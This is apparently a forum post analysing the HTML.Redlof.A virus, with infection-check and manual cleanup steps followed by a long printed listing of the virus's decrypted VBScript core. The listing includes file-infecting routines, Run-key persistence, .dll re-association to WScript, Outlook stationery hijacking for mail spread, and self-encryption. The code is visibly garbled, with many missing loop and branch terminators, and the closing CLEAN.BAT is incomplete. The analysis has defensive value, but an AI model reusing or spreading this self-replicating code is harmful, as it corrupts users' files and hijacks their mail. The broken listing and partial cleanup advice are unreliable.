Paper on the HTML.Redlof.A virus

Perhaps this is the second post about a full virus disassembly which is still running strong in the wild.
I shall be talking about the HTML.Redlof.A "virus' which affects computers running Windows having Windows Scripting Host activated

Redlof is actually a HTML virus which can infect the user in the following ways:

1.User opens a webpage infected with the virus
2.User opens a folder(with "View as Web Page" option enabled) infected with the virus

After the first instance, the virus opens files of type .htt, .html, .htm, .jsp, .asp, .php in the current folder, traverses up the tree, the "My Documents" folder and sub folders
It appends itself to Folder.htt in the current and/or to C:\WinPath\Web\Folder.htt, but before infection backups the clean copies to
Web\KJWALL.GIF (Folder.HTT) and System32\KJWALL.GIF (DeskTop.INI)
It writes another copy of itself into file "Kernel.dll" or "kernel32.dll"(provided it's NOT Micorsoft's own core) and registers DLL files to run WScript (WSH core) when they are loaded
Based on the Windows OS, either Kernel.dll or Kernel32.dll is loaded at startup.Thus, every file of type given above when opened are infected.
It writes to the registry, and Outlook keys to send a copy of itself every time a mail is sent.The virus is incorporated into the HTML formatting of the mail itself and thus appears
transparent to the user.
It also keeps the heart of the virus encrypted in a variable named "ExeString" and it's decrypted during activation
I have posted the decrypted source with is post at the end.

How do I know if I am infected ?

Your AV should be the first one to indicate it.However, probably it will NOT be able to clean it and end up Quarantining it.
You can also manually check for the following files on your HDD

Don't delete ANY of the above files now !
Also, you can know if it's active by
1.Create an empty .txt file and rename it to .html.It should be 0 bytes
2.Click on it.Then close it.If its size has increased to approx 12 Kbytes automatically, then you ARE infected

Oh my god !

You can easily get your system clean, by yourself.Follow the steps:

1.Using the Windows FIND tool (Start>Find), search for ANY file containing the text "KJ_Start()".You should get quite a lot!
Rename ALL of them to .VIR
[E.g rename Filename.HTML to Filename.HTML.VIR]
NOTE:Replace C:\Program Files\Common Files\Microsoft Shared\Stationery\blank.htm with a clean one !

2.Rename(or delete) Folder.htt and Desktop.ini.

3.Using MSCONFIG, uncheck the entry "Kernel32" linked to the file kernel.dll (or kernel32.dll- but make sure it isn't Microsoft's) to stop it from loading at startup.
If you are a Windows 2K user, open REGEDIT, goto [HKLOCALMACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN] and remove the entry for

4.Boot to Real Mode MSDOS.
CD to the Web directory and delete Folder.htt and desktop.ini
Copy C:\WinPath\Web\kjwall.gif as Folder.htt and C:\WinPath\System32\kjwall.gif as Desktop.ini
Delete kernel.dll from C:\WinPath\System\kernel.dll

Now you can do the following from either DOS or from Windows, which ever you are comfortable with:

Open the files you had renamed .VIR in any text editor like Notepad and search for the line(s)
<XMP><!--Incase Neworder board renders the HTML>
<!--Start Portions of virus code,search for the following in infected files-->

<html><BODY text=black bgcolor=white onload="vbscript:KJ_start()">
<script language=vbscript>
document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 ... .. .. (etc)

till the lines(s)

Execute ThisText

<!--End Portions of virus code, end searching till here.Typically this should be at the very end of the infected file -->
</XMP><!--Incase Neworder board renders the HTML>

Delete the WHOLE portion.Now the file is cleaned, and you can rename it back to what it was
Repeat this process for all the files (sorry ! I know it's kinda tedious - but if the pages conained important data, you will recover a lot)
Now do a FULL system scan with your AV after getting the very latest updates, and make sure you are clean, for even ONE stray file will render all the above work useless!!

How do I save myself from furthur attacks ?

If you are sure, you can just REMOVE the Windows Scripting Host from your Windows. Goto "Add Remove Programs" in Control Panel and select the Windows Setup tab.Click on "Accessories" and uncheck "Windows Scripting Host"
Click on Apply and you should be done.Just to make sure, search for the file WScript.EXE and just delete it too if you find it!


Thank your stars that the virus has no serious payload.WSH was needed in only old apps mainly for Dial-Up users connecting to shell accounts to automate scripting jobs
As far as I know, you really DO NOT need it now.
The "virus" is indeed a VERY INNOVATIVE idea by the programmer, but I should NOT say that it has used an "exploit" for the virus uses a feature which can propagate on ANY platform which renders TML.However, it DOES exploit the WSH in Windows.Perhaps I am not the first person to recommend people from removing WSH from thier system ;)

BTW: If you find any error (I know there might be) or wrong understanding on my part, just mail to me at clear about what you say.
Please DO NOT spam me though ! Please spare me that !

Here's the code which forms the heart of the virus and is encrypted in infected file(s):
<!--Start code -->
<!-- Hope the Edge engine does NOT render the following code

Dim InWhere,HtmlText ,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk
Sub KJ_start()
End Sub

Function KJAppendTo(FilePath,TypeStr)
On Error Resume Next
Set ReadTemp = FSO.OpenTextFile(FilePath,1)
TmpStr = ReadTemp.ReadAll
If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then
Exit Function
End If
If TypeStr = "htt" Then
Set FileTemp = FSO.OpenTextFile(FilePath,2)
FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText
Set FAttrib = FSO.GetFile(FilePath)
FAttrib.attributes = 34
Set FileTemp = FSO.OpenTextFile(FilePath,8)
If TypeStr = "html" Then
FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
ElseIf TypeStr = "vbs" Then
FileTemp.Write vbCrLf & VbsText
End If
End If
End Function

Function KJChangeSub(CurrentString,LastIndexChar)
If LastIndexChar = 0 Then
If Left(LCase(CurrentString),1) =< LCase("c") Then
KJChangeSub = FinalyDisk & ":\"
SubE = 0
KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\"
SubE = 0
End If
KJChangeSub = Mid(CurrentString,1,LastIndexChar)
End If
End Function

Function KJCreateMail()
On Error Resume Next
If InWhere = "html" Then
Exit Function
End If
ShareFile = Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm"
If (FSO.FileExists(ShareFile)) Then
Call KJAppendTo(ShareFile,"html")
Set FileTemp = FSO.OpenTextFile(ShareFile,2,true)
FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
End If
DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID")
OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer")
WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile)
Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile)
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank")
KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery")
End Function

Function KJCreateMilieu()
On Error Resume Next
TempPath = ""
If Not(FSO.FileExists(WinPath & "WScript.exe")) Then
TempPath = "system32\"
End If
If TempPath = "system32\" Then
StartUpFile = WinPath & "SYSTEM\Kernel32.dll"
StartUpFile = WinPath & "SYSTEM\Kernel.dll"
End If
WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile
FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt"
FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini"
Call KJAppendTo(WinPath & "web\Folder.htt","htt")
WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile"
WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath & TempPath & "WScript.exe ""%1"" %*"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}"
Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true)
FileTemp.Write VbsText
End Function

Function KJLikeIt()
If InWhere <> "html" Then
Exit Function
End If
ThisLocation = document.location
If Left(ThisLocation, 4) = "file" Then
ThisLocation = Mid(ThisLocation,9)
If FSO.GetExtensionName(ThisLocation) <> "" then
ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation)))
End If
If Len(ThisLocation) > 3 Then
ThisLocation = ThisLocation & "\"
End If
End If
End Function

Function KJMailReg(RegStr,FileName)
On Error Resume Next
RegTempStr = WsShell.RegRead(RegStr)
If RegTempStr = "" Then
WsShell.RegWrite RegStr,FileName
End If
End Function

Function KJOboSub(CurrentString)
SubE = 0
TestOut = 0
Do While True
TestOut = TestOut + 1
If TestOut > 28 Then
CurrentString = FinalyDisk & ":\"
Exit Do
End If
On Error Resume Next
Set ThisFolder = FSO.GetFolder(CurrentString)
Set DicSub = CreateObject("Scripting.Dictionary")
Set Folders = ThisFolder.SubFolders
FolderCount = 0
For Each TempFolder in Folders
FolderCount = FolderCount + 1
DicSub.add FolderCount, TempFolder.Name
If DicSub.Count = 0 Then
LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)
SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
CurrentString = KJChangeSub(CurrentString,LastIndexChar)
SubE = 1
If SubE = 0 Then
CurrentString = CurrentString & DicSub.Item(1) & "\"
Exit Do
j = 0
For j = 1 To FolderCount
If LCase(SubString) = LCase(DicSub.Item(j)) Then
If j < FolderCount Then
CurrentString = CurrentString & DicSub.Item(j+1) & "\"
Exit Do
End If
End If
LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)
SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)

CurrentString = KJChangeSub(CurrentString,LastIndexChar)
End If
End If
KJOboSub = CurrentString
End Function

Function KJPropagate()
On Error Resume Next
RegPathValue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"
DiskDegree = WsShell.RegRead(RegPathValue)
If DiskDegree = "" Then
DiskDegree = FinalyDisk & ":\"
End If
For i=1 to 5
DiskDegree = KJOboSub(DiskDegree)
WsShell.RegWrite RegPathValue,DiskDegree
End Function

Function KJummageFolder(PathName)
On Error Resume Next
Set FolderName = FSO.GetFolder(PathName)
Set ThisFiles = FolderName.Files
HttExists = 0
For Each ThisFile In ThisFiles
FileExt = UCase(FSO.GetExtensionName(ThisFile.Path))
If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then
Call KJAppendTo(ThisFile.Path,"html")
ElseIf FileExt = "VBS" Then
Call KJAppendTo(ThisFile.Path,"vbs")
ElseIf FileExt = "HTT" Then
HttExists = 1
End If
If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then
HttExists = 1
End If
If HttExists = 0 Then
FSO.CopyFile WinPath & "system32\desktop.ini",PathName
FSO.CopyFile WinPath & "web\Folder.htt",PathName
End If
End Function

Function KJSetDim()
On Error Resume Next
TestIt = WScript.ScriptFullname
If Err Then
InWhere = "html"
InWhere = "vbs"
End If
If InWhere = "vbs" Then
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WsShell = CreateObject("WScript.Shell")
Set AppleObject = document.applets("KJ_guest")
Set WsShell = AppleObject.GetObject()
Set FSO = AppleObject.GetObject()
End If
Set DiskObject = FSO.Drives
For Each DiskTemp In DiskObject
If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then
Exit For
End If
FinalyDisk = DiskTemp.DriveLetter
Dim OtherArr(3)
For i=0 To 3
OtherArr(i) = Int((9 * Rnd))
TempString = ""
For i=1 To Len(ThisText)
TempNum = Asc(Mid(ThisText,i,1))
If TempNum = 13 Then
TempNum = 28
ElseIf TempNum = 10 Then
TempNum = 29
End If
TempChar = Chr(TempNum - OtherArr(i Mod 4))
If TempChar = Chr(34) Then
TempChar = Chr(18)
End If
TempString = TempString & TempChar
UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)"
ThisText = "ExeString = """ & TempString & """"
HtmlText ="<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>"
VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()"
WinPath = FSO.GetSpecialFolder(0) & "\"
If (FSO.FileExists(WinPath & "web\Folder.htt")) Then
FSO.CopyFile WinPath & "web\Folder.htt",WinPath & "web\kjwall.gif"
End If
If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then
FSO.CopyFile WinPath & "system32\desktop.ini",WinPath & "system32\kjwall.gif"
End If
End Function
<!-- End of code -->

Here's a batch file which you can use to clean the folder.htt and desktop.ini

--------------Start CLEAN.BAT-------------------
REM It's assumed that you have your windows on C:\WINDOWS
REM If not, change it accordingly
IF EXIST C:\WINDOWS\system32\desktop.ini DEL C:\WINDOWS\system32\desktop.ini
ECHO System is clean !
ECHO Make sure you have cleaned C:\Program Files\Common Files\Microsoft Shared\Stationery\blank.htm !
--------------End Clean.BAT--------------------



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